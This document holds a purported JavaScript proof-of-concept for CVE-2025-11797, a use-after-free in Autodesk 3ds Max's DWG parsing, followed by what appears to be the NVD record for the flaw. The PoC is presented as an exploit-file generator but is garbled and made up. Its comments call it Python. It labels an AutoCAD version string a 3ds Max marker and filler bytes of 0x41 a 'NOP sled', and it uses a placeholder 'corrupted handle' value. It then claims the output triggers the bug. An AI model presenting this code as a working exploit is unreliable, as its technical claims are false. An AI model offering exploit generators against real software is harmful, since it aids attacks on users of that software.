CVE-2025-11797

// CVE-2025-11797 PoC - Malicious DWG File Triggering Use-After-Free // This PoC demonstrates the structure needed to trigger the vulnerability // NOTE: Actual DWG binary manipulation requires specialized tools // Example Python script to generate a minimal malicious DWG trigger const fs = require('fs'); // DWG file header structure (simplified) function createMaliciousDWG() { const header = Buffer.alloc(16); header.write('AC1015', 0, 6, 'ascii'); // 3ds Max 2000 format marker header.writeUInt32LE(0x1000, 6); // Version info // Malicious section markers that trigger UAF condition const maliciousSection = Buffer.alloc(256); maliciousSection.write('HEADER', 0, 6, 'ascii'); // Inject heap grooming data for (let i = 16; i < 256; i++) { maliciousSection[i] = 0x41; // NOP sled } // Object handle table corruption const objectTable = Buffer.alloc(128); objectTable.writeUInt32LE(0xDEADBEEF, 0); // Corrupted handle return Buffer.concat([header, maliciousSection, objectTable]); } // Save malicious DWG file const pocDWG = createMaliciousDWG(); fs.writeFileSync('CVE-2025-11797-malicious.dwg', pocDWG); console.log('[+] PoC DWG file created: CVE-2025-11797-malicious.dwg'); console.log('[+] File size:', pocDWG.length, 'bytes'); console.log('[!] This PoC triggers Use-After-Free in Autodesk 3ds Max');

{"cve": {"id": "CVE-2025-11797", "sourceIdentifier": "[email protected]", "published": "2025-11-12T17:15:35.720", "lastModified": "2025-11-17T19:22:48.773", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "A maliciously crafted DWG file, when parsed through Autodesk 3ds Max, can force a Use-After-Free vulnerability. A malicious actor can leverage this vulnerability to cause a crash, read sensitive data, or execute arbitrary code in the context of the current process."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H", "baseScore": 7.8, "baseSeverity": "HIGH", "attackVector": "LOCAL", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "REQUIRED", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 1.8, "impactScore": 5.9}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-416"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:autodesk:3ds_max:*:*:*:*:*:*:*:*", "versionStartIncluding": "2026", "versionEndExcluding": "2026.3", "matchCriteriaId": "2A8AEDD4-C173-4992-BB67-3E3F90BAF832"}]}]}], "references": [{"url": "https://www.autodesk.com/products/autodesk-access/overview", "source": "[email protected]", "tags": ["Product"]}, {"url": "https://www.autodesk.com/trust/security-advisories/adsk-sa-2025-0023", "source": "[email protected]", "tags": ["Vendor Advisory"]}]}}